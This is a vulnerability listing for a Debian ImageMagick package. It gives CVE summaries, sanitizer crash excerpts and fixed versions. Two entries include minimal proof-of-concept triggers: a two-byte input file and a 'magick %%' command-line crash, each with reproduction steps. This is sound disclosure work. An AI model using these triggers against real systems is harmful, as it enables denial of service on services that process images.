Search for packages
| purl | pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5 |
| Next non-vulnerable version | 8:6.9.11.60+dfsg-1.6+deb12u8 |
| Latest non-vulnerable version | 8:7.1.2.19+dfsg1-1 |
| Risk | 4.0 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-1cpn-zvem-v7gt
Aliases: CVE-2026-28691 GHSA-wj8w-pjxf-9g4f |
ImageMagick has uninitialized pointer dereference in JBIG decoder An uninitialized pointer dereference vulnerability exists in the JBIG decoder due to a missing check. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-2zje-ag2v-7kac
Aliases: CVE-2026-30937 GHSA-qpg4-j99f-8xcg |
ImageMagick has heap buffer overflow in WriteXWDImage due to CARD32 arithmetic overflow in bytes_per_line calculation A 32-bit unsigned integer overflow in the XWD (X Windows) encoder can cause an undersized heap buffer allocation. When writing a extremely large image an out of bounds heap write can occur. ``` ================================================================= ==741961==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000083dc at pc 0x56553b4c4245 bp 0x7ffd9d20fef0 sp 0x7ffd9d20fee0 WRITE of size 1 at 0x5020000083dc thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-381g-7gdr-qydg
Aliases: CVE-2026-40312 GHSA-5xg3-585r-9jh5 |
ImageMagick: Magick.NET: ImageMagick and Magick.NET: Denial of Service via malicious MSL file processing |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-441f-z9bp-vbdu
Aliases: CVE-2026-40310 GHSA-pwg5-6jfc-crvh |
ImageMagick: Magick.NET: ImageMagick: Denial of service via heap out-of-bounds write in JP2 encoder |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-54da-fzyt-4ud2
Aliases: CVE-2026-28690 GHSA-7h7q-j33q-hvpf |
ImageMagick has stack write buffer overflow in MNG encoder A stack buffer overflow vulnerability exists in the MNG encoder. There is a bounds checks missing that could corrupting the stack with attacker-controlled data. ``` ==2265506==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec4971310 at pc 0x55e671b8a072 bp 0x7ffec4970f70 sp 0x7ffec4970f68 WRITE of size 1 at 0x7ffec4971310 thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-6h7x-3rue-kucp
Aliases: CVE-2026-28692 GHSA-mrmj-x24c-wwcv |
ImageMagick has a heap buffer over-read via 32-bit integer overflow in MAT decoder In MAT decoder uses 32-bit arithmetic due to incorrect parenthesization resulting in a heap over-read. ``` ================================================================= ==969652==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000003b40 at pc 0x555557b2a926 bp 0x7fffffff4c80 sp 0x7fffffff4c70 READ of size 8 at 0x506000003b40 thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-6v1d-1wfr-vqd1
Aliases: CVE-2026-40311 GHSA-r83h-crwp-3vm7 |
ImageMagick: Magick.NET: ImageMagick: Denial of Service via heap use-after-free in XMP profile processing |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-7gb9-gd78-7bdu
Aliases: CVE-2026-33901 GHSA-x9h5-r9v2-vcww |
ImageMagick: Magick.NET: ImageMagick: Denial of Service due to heap buffer overflow in MVG decoder |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-a2qm-vkc3-qkd5
Aliases: CVE-2025-55160 GHSA-6hgw-6x87-578x |
ImageMagick has Undefined Behavior (function-type-mismatch) in CloneSplayTree ## Summary - **Target:** ImageMagick (commit `ecc9a5eb456747374bae8e07038ba10b3d8821b3`) - **Type:** Undefined Behavior (function-type-mismatch) in splay tree cloning callback - **Impact:** Deterministic abort under UBSan (DoS in sanitizer builds). No crash in a non-sanitized build; likely low security impact. - **Trigger:** Minimal **2-byte** input parsed via MagickWand, then coalescing. ## Environment OS: macOS (Apple Silicon/arm64) Homebrew clang version 20.1.8 Target: arm64-apple-darwin24.5.0 Thread model: posix InstalledDir: /opt/homebrew/Cellar/llvm/20.1.8/bin Configuration file: /opt/homebrew/etc/clang/arm64-apple-darwin24.cfg Homebrew ImageMagick: `magick -version` → `ImageMagick 7.1.2-0 Q16-HDRI aarch64` pkg-config: `MagickWand-7.Q16HDRI` version `7.1.2` Library configure flags (capsule build): ./configure --disable-shared --enable-static --without-modules --without-magick-plus-plus --disable-openmp --without-perl --without-x --with-png=yes --without-jpeg --without-tiff --without-xml --without-lqr --without-gslib Harness compile flags: -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer pkg-config cflags/libs supplied: -I<...>/include/ImageMagick-7 -DMAGICKCORE_HDRI_ENABLE=1 -DMAGICKCORE_QUANTUM_DEPTH=16 -DMAGICKCORE_CHANNEL_MASK_DEPTH=32 and linked against MagickWand-7.Q16HDRI and MagickCore-7.Q16HDRI Sanitizer runtime: ASan+UBSan defaults. Repro also with `UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1` ## PoC - **Bytes (hex):** `1c 02` - **Base64:** `HAI=` - **sha256 (optional):** <fill in> ## Reproduction Create PoC: `printf '\x1c\x02' > poc.bin` Option A: libFuzzer harness - Run once: `./harness_ImageMagick_... -runs=1 ./poc.bin` - Expected: UBSan aborts with function-type-mismatch at `MagickCore/splay-tree.c:372:43`. Option B: standalone reproducer (C) - Compile (ensure `PKG_CONFIG_PATH` points to your ImageMagick if needed): /opt/homebrew/opt/llvm/bin/clang -g -O1 -fsanitize=address,undefined $(/opt/homebrew/bin/pkg-config --cflags MagickWand-7.Q16HDRI) repro.c -o repro $(/opt/homebrew/bin/pkg-config --libs MagickWand-7.Q16HDRI) - Run: UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 ./repro ./poc.bin Observed output (excerpt) MagickCore/splay-tree.c:372:43: runtime error: call to function ConstantString through pointer to incorrect function type 'void *(*)(void *)' string.c:680: note: ConstantString defined here #0 CloneSplayTree splay-tree.c:372 #1 CloneImageProfiles profile.c:159 #2 CloneImage image.c:832 #3 CoalesceImages layer.c:269 #4 MagickCoalesceImages magick-image.c:1665 #5 main repro.c:XX Root cause The splay tree clone callback expects a function pointer of type `void *(*)(void *)`. ConstantString has a different signature (`char *ConstantString(const char *)`). Calling through the mismatched function type is undefined behavior in C and triggers UBSan’s function-type-mismatch. The path is exercised during coalescing: CloneImage → CloneImageProfiles → CloneSplayTree. Scope Reproduces with a minimal, sanitizer-instrumented, PNG-enabled build and delegates disabled (policy.xml), suggesting the issue is in MagickCore rather than external delegates. Suggested fix (sketch) Use a wrapper that matches the expected callback prototype, or adjust the splay-tree callback typedef for const-correctness. For example: static void *CloneStringShim(const void *p) { return (void *) ConstantString((const char *) p); } /* When setting splay-tree clone_value, use CloneStringShim instead of ConstantString. */ Alternatively, update the clone callback typedefs to use const void* consistently (and return void*) and ensure callers pass a correctly typed wrapper. Artifacts Minimised PoC: attached (poc.bin, 2 bytes; base64 HAI=) Harness source and exact build command (attached) Full UBSan trace (attached) Commit SHA and configure flags (above) Credits Discovered by: Lumina Mescuwa Method: libFuzzer + UBSan Verification - UBSan build: Reproduces with `halt_on_error=1`; aborts at `MagickCore/splay-tree.c:372`. - Non-sanitized Homebrew build (macOS arm64, clang 20.1.8): No crash; repro completes silently. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-cuhw-ew1g-s3h2
Aliases: CVE-2026-28687 GHSA-fpvf-frm6-625q |
ImageMagick has Heap Use-After-Free in ImageMagick MSL decoder A heap use-after-free vulnerability in ImageMagick's MSL decoder allows an attacker to trigger access to freed memory by crafting an MSL file. ``` ================================================================= ==1500633==ERROR: AddressSanitizer: heap-use-after-free on address 0x527000011550 at pc 0x5612583fa212 bp 0x7ffedb86d160 sp 0x7ffedb86d150 READ of size 8 at 0x527000011550 thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-eeju-vhdm-aqbe
Aliases: CVE-2026-33900 GHSA-v67w-737x-v2c9 |
ImageMagick: Magick.NET: ImageMagick: Denial of Service via integer truncation in viff encoder |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-egwu-28fp-dye6
Aliases: CVE-2026-33905 GHSA-pcvx-ph33-r5vv |
ImageMagick: ImageMagick: Denial of service via out-of-bounds read in -sample operation |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-g41y-dv8u-3yf1
Aliases: CVE-2026-30936 GHSA-5ggv-92r5-cp4p |
ImageMagick has Heap Buffer Overflow in WaveletDenoiseImage A crafted image could cause an out of bounds heap write inside the WaveletDenoiseImage method. When processing a crafted image with the -wavelet-denoise operation an out of bounds write can occur. ``` ================================================================= ==661320==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000002754 at pc 0x5ff45f82c92a bp 0x7fffb732b400 sp 0x7fffb732b3f0 WRITE of size 4 at 0x503000002754 thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-g679-q851-xub7
Aliases: CVE-2026-32259 |
ImageMagick: stack-based buffer overflow in sixel encoder |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-j6tc-f4fc-mbcv
Aliases: CVE-2026-33902 GHSA-f4qm-vj5j-9xpw |
ImageMagick: ImageMagick: Denial of Service via deeply nested expression in FX parser |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-jc5m-7rvc-2qg6
Aliases: CVE-2026-32636 GHSA-gc62-2v5p-qpmp |
ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-jcjk-s89c-mbbm
Aliases: CVE-2026-26983 GHSA-w8mw-frc6-r7m8 |
ImageMagick: Invalid MSL <map> can result in a use after free The MSL interpreter crashes when processing a invalid `<map>` element that causes it to use an image after it has been freed. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-n47w-r932-abey
Aliases: CVE-2026-30883 GHSA-qmw5-2p58-xvrc |
ImageMagick is vulnerable to Heap Overflow when writing extremely large image profile in the PNG encoder An extremely large image profile could result in a heap overflow when encoding a PNG image. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-qjxn-gm96-7ygc
Aliases: CVE-2026-34238 GHSA-26qp-ffjh-2x4v |
ImageMagick: Magick.NET: ImageMagick: Denial of Service via integer overflow in despeckle operation |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-r3vw-ncns-cqgb
Aliases: CVE-2026-31853 GHSA-56jp-jfqg-f8f4 |
ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder An overflow on 32-bit systems can cause a crash in the SFW decoder when processing extremely large images. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-rbdg-vz8x-ykah
Aliases: CVE-2026-28688 GHSA-xxw5-m53x-j38c |
ImageMagick has heap use-after-free in the MSL encoder A heap-use-after-free vulnerability exists in the MSL encoder, where a cloned image is destroyed twice. The MSL coder does not support writing MSL so the write capability has been removed. ``` SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/image.c:1195 in DestroyImage Shadow bytes around the buggy address: 0x0a4e80007450: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007460: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007470: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0a4e80007490: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0a4e800074a0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd 0x0a4e800074b0: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x0a4e800074c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0a4e800074f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-rjkf-pdny-2fhn
Aliases: CVE-2026-28494 GHSA-932h-jw47-73jm |
ImageMagick vulnerable to stack corruption through long morphology kernel names or arrays A stack buffer overflow exists in ImageMagick's morphology kernel parsing functions. User-controlled kernel strings exceeding a buffer are copied into fixed-size stack buffers via memcpy without bounds checking, resulting in stack corruption. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-sw7g-hxxr-n3e1
Aliases: CVE-2026-28689 GHSA-493f-jh8w-qhx3 |
ImageMagick has a Path Policy TOCTOU symlink race bypass `domain="path"` authorization is checked before final file open/use. A symlink swap between check-time and use-time bypasses policy-denied read/write. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-tt6z-t31v-dkdd
Aliases: CVE-2026-33536 GHSA-8793-7xv6-82cf |
ImageMagick has an Out-of-bounds Write via InterpretImageFilename Due to an incorrect return value on certain platforms a pointer is incremented past the end of a buffer that is on the stack and that could result in an out of bounds write. ``` ================================================================= ==48558==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x00016b9b7490 at pc 0x0001046d48ac bp 0x00016b9b31d0 sp 0x00016b9b31c8 WRITE of size 1 at 0x00016b9b7490 thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-tv15-dcnu-pbbn
Aliases: CVE-2026-26284 GHSA-wrhr-rf8j-r842 |
ImageMagick: Heap overflow in pcd decoder leads to out of bounds read. The pcd coder lacks proper boundary checking when processing Huffman-coded data. The decoder contains an function that has an incorrect initialization that could cause an out of bounds read. ``` ==3900053==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000003c6c at pc 0x55601b9cc552 bp 0x7ffd904b1f70 sp 0x7ffd904b1f60 READ of size 1 at 0x502000003c6c thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-utfe-h3b7-jqcj
Aliases: CVE-2026-25971 GHSA-8mpr-6xr2-chhc |
ImageMagick: MSL - Stack overflow in ProcessMSLScript ### Summary Magick fails to check for circular references between two MSLs, leading to a stack overflow. ### Details After reading a.msl using magick, the following is displayed: `MSLStartElement` -> `ReadImage` -> `ReadMSLImage` -> `ProcessMSLScript` -> `xmlParseChunk` -> `xmlParseTryOrFinish` -> `MSLStartElement` ```bash AddressSanitizer:DEADLYSIGNAL ================================================================= ==114345==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x72509fc7d804 bp 0x7ffd6598b390 sp 0x7ffd6598ab20 T0) #0 0x72509fc7d804 in strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:388 [...] ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-uvkp-1zss-57gr
Aliases: CVE-2026-33908 GHSA-fwvm-ggf6-2p4x |
ImageMagick: Magick.NET: ImageMagick: Denial of Service via deeply nested XML file processing |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-w9zg-tsbg-afa1
Aliases: CVE-2026-33899 GHSA-cr67-pvmx-2pp2 |
ImageMagick: Magick.NET: ImageMagick: Denial of Service via out-of-bounds write in XML parsing |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-x8c6-9pse-xkc8
Aliases: CVE-2026-28693 GHSA-hffp-q43q-qq76 |
ImageMagick: Integer overflow in DIB coder can result in out of bounds read or write An integer overflow in DIB coder can result in out of bounds read or write |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-y58b-be93-hbfd
Aliases: CVE-2026-28686 GHSA-467j-76j7-5885 |
ImageMagick: Write heap-buffer-overflow in PCL encoder via undersized output buffer A heap-buffer-overflow vulnerability exists in the PCL encode due to an undersized output buffer allocation. ``` WRITE of size 1 at 0x7e79f91f31a0 thread T0 ``` |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-zab9-9tqj-hbhg
Aliases: CVE-2026-25985 GHSA-v7g2-m8c5-mf84 |
ImageMagick: Memory allocation with excessive without limits in the internal SVG decoder A crafted SVG file containing an malicious element causes ImageMagick to attempt to allocate ~674 GB of memory, leading to an out-of-memory abort. Found via AFL++ fuzzing with afl-clang-lto instrumentation and AddressSanitizer. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-zvq4-ybph-buga
Aliases: CVE-2026-33535 GHSA-mw3m-pqr2-qv7c |
ImageMagick has an Out-of-Bounds write of a zero byte in its X11 display interaction An out-of-bounds write of a zero byte exists in the X11 `display` interaction path that could lead to a crash. |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-15ny-qqbj-qyfk | ImageMagick has infinite loop when writing IPTCTEXT leads to denial of service via crafted profile A crafted profile contain invalid IPTC data may cause an infinite loop when writing it with `IPTCTEXT`. |
CVE-2026-26066
GHSA-v994-63cg-9wj3 |
| VCID-1cpn-zvem-v7gt | ImageMagick has uninitialized pointer dereference in JBIG decoder An uninitialized pointer dereference vulnerability exists in the JBIG decoder due to a missing check. |
CVE-2026-28691
GHSA-wj8w-pjxf-9g4f |
| VCID-29r3-kvf4-n3hc | ImageMagick: Heap Buffer Over-read in WaveletDenoise when processing small images A heap buffer over-read vulnerability occurs when processing an image with small dimension using the `-wavelet-denoise` operator. ``` ==3693336==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000001280 at pc 0x5602c8b0cc75 bp 0x7ffcb105d510 sp 0x7ffcb105d500 READ of size 4 at 0x511000001280 thread T0 ``` |
CVE-2026-27798
GHSA-qpgx-jfcq-r59f |
| VCID-2gw3-qfan-jygd | ImageMagick's failure to limit the depth of SVG file reads caused a DoS attack Using Magick to read a malicious SVG file resulted in a DoS attack. |
CVE-2025-68618
GHSA-p27m-hp98-6637 |
| VCID-2zje-ag2v-7kac | ImageMagick has heap buffer overflow in WriteXWDImage due to CARD32 arithmetic overflow in bytes_per_line calculation A 32-bit unsigned integer overflow in the XWD (X Windows) encoder can cause an undersized heap buffer allocation. When writing a extremely large image an out of bounds heap write can occur. ``` ================================================================= ==741961==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000083dc at pc 0x56553b4c4245 bp 0x7ffd9d20fef0 sp 0x7ffd9d20fee0 WRITE of size 1 at 0x5020000083dc thread T0 ``` |
CVE-2026-30937
GHSA-qpg4-j99f-8xcg |
| VCID-54da-fzyt-4ud2 | ImageMagick has stack write buffer overflow in MNG encoder A stack buffer overflow vulnerability exists in the MNG encoder. There is a bounds checks missing that could corrupting the stack with attacker-controlled data. ``` ==2265506==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec4971310 at pc 0x55e671b8a072 bp 0x7ffec4970f70 sp 0x7ffec4970f68 WRITE of size 1 at 0x7ffec4971310 thread T0 ``` |
CVE-2026-28690
GHSA-7h7q-j33q-hvpf |
| VCID-5s8n-dfjf-ruey | ImageMagick has a Heap Buffer Overflow in InterpretImageFilename # Heap Buffer Overflow in InterpretImageFilename ## Summary A heap buffer overflow was identified in the `InterpretImageFilename` function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (`%%`). ## Environment - **OS**: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x86_64 GNU/Linux (GNU libc) 2.41) - **Architecture**: x86_64 - **Compiler**: gcc (GCC) 15.1.1 20250425 ## Reproduction ### Build Instructions ```bash # Clone the repository git clone https://github.com/ImageMagick/ImageMagick.git cd ImageMagick git reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12 # Build with AddressSanitizer export CFLAGS="-fsanitize=address -g -O1" export CXXFLAGS="-fsanitize=address -g -O1" export LDFLAGS="-fsanitizer=address" ./configure make # Set library path and trigger the crash export LD_LIBRARY_PATH="$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LD_LIBRARY_PATH" ./utilities/.libs/magick %% a ``` ### Minimum Trigger ```bash ./utilities/.libs/magick %% [any_output_filename] ``` ## Crash Analysis ### AddressSanitizer Output ``` $ ./utilities/.libs/magick %% a ================================================================= ==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8 READ of size 1 at 0x7037f99e3ad3 thread T0 #0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:746 #1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674 #2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040 #3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959 #4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473 #5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x5ef7a3546638 in MagickMain utilities/magick.c:162 #9 0x5ef7a3546872 in main utilities/magick.c:193 #10 0x7417ff53f6b4 (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #11 0x7417ff53f768 in __libc_start_main (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35) #12 0x5ef7a3546204 in _start (/home/kforfk/workspace/fuzz_analysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2) 0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3) allocated by thread T0 here: #0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67 #1 0x7418013e86bc in AcquireMagickMemory MagickCore/memory.c:559 SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename Shadow bytes around the buggy address: 0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa 0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04 =>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa 0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==2227694==ABORTING ``` ## Root Cause Analysis The first command line argument is interpreted as `MagickImageCommand`: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83 ```c const CommandInfo MagickCommands[] = { MagickCommandSize("magick", MagickFalse, MagickImageCommand), ``` It is invoked here: https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220 ```c status=command(image_info,argc,argv,&text,exception); ``` The execution then follows this path: - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L1387 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L586 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L419 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5391 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5473 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L4959 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1009 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1039 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1649 - https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1674 The execution eventually reaches `InterpretImageFilename` and enters a loop. The `format` variable here is `"%%"`. At this point, it is safe to access `*(format + 2)` but not safe to access `*(format + 3)`. ```c for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%')) { q=(char *) p+1; if (*q == '%') { p=q+1; continue; } ``` The first `strchr` call returns a pointer equal to `format` and assigns it to `p`. Then `q` is initialized with `p + 1` (`format + 1`), and `*q` is `'%'`, so the code enters the if branch. Here, `p` is reassigned to `q + 1` (`format + 2`). In the next iteration, `p + 1` (`format + 3`) is passed to `strchr`, and when `strchr` accesses it, this causes an out-of-bounds read. |
CVE-2025-53014
GHSA-hm4x-r5hc-794f |
| VCID-5uyd-bv33-h7g1 | ImageMagick: Heap overflow in sun decoder on 32-bit systems may result in out of bounds write An Integer Overflow vulnerability exists in the sun decoder. On 32-bit systems/builds, a carefully crafted image can lead to an out of bounds heap write. ``` ================================================================= ==1967675==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf190b50e at pc 0x5eae8777 bp 0xffb0fdd8 sp 0xffb0fdd0 WRITE of size 1 at 0xf190b50e thread T0 ``` |
CVE-2026-25897
GHSA-6j5f-24fw-pqp4 |
| VCID-5zkt-kcgx-a3e2 | ImageMagick Has Signed Integer Overflow in SIXEL Decoder, Leading to Memory Corruption A signed integer overflow vulnerability in ImageMagick's SIXEL decoder allows an attacker to trigger memory corruption and denial of service when processing a maliciously crafted SIXEL image file. The vulnerability occurs during buffer reallocation operations where pointer arithmetic using signed 32-bit integers overflows. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==143838==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 #0 0x7f379d5adb53 (/lib/x86_64-linux-gnu/libc.so.6+0xc4b53) ``` |
CVE-2026-25970
GHSA-xg29-8ghv-v4xr |
| VCID-62ar-kwbq-nyh3 | ImageMagick has memory leak in msl encoder Memory leak exists in `coders/msl.c`. In the `WriteMSLImage` function of the `msl.c` file, resources are allocated. But the function returns early without releasing these allocated resources. ``` ==78983== Memcheck, a memory error detector ==78983== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al. ==78983== Using Valgrind-3.22.0 and LibVEX; rerun with -h for copyright info ==78983== ==78983== 177,196 (13,512 direct, 163,684 indirect) bytes in 1 blocks are definitely lost in loss record 21 of 21 ==78983== at 0x4846828: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so) ``` |
CVE-2026-25638
GHSA-gxcx-qjqp-8vjw |
| VCID-6h7x-3rue-kucp | ImageMagick has a heap buffer over-read via 32-bit integer overflow in MAT decoder In MAT decoder uses 32-bit arithmetic due to incorrect parenthesization resulting in a heap over-read. ``` ================================================================= ==969652==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000003b40 at pc 0x555557b2a926 bp 0x7fffffff4c80 sp 0x7fffffff4c70 READ of size 8 at 0x506000003b40 thread T0 ``` |
CVE-2026-28692
GHSA-mrmj-x24c-wwcv |
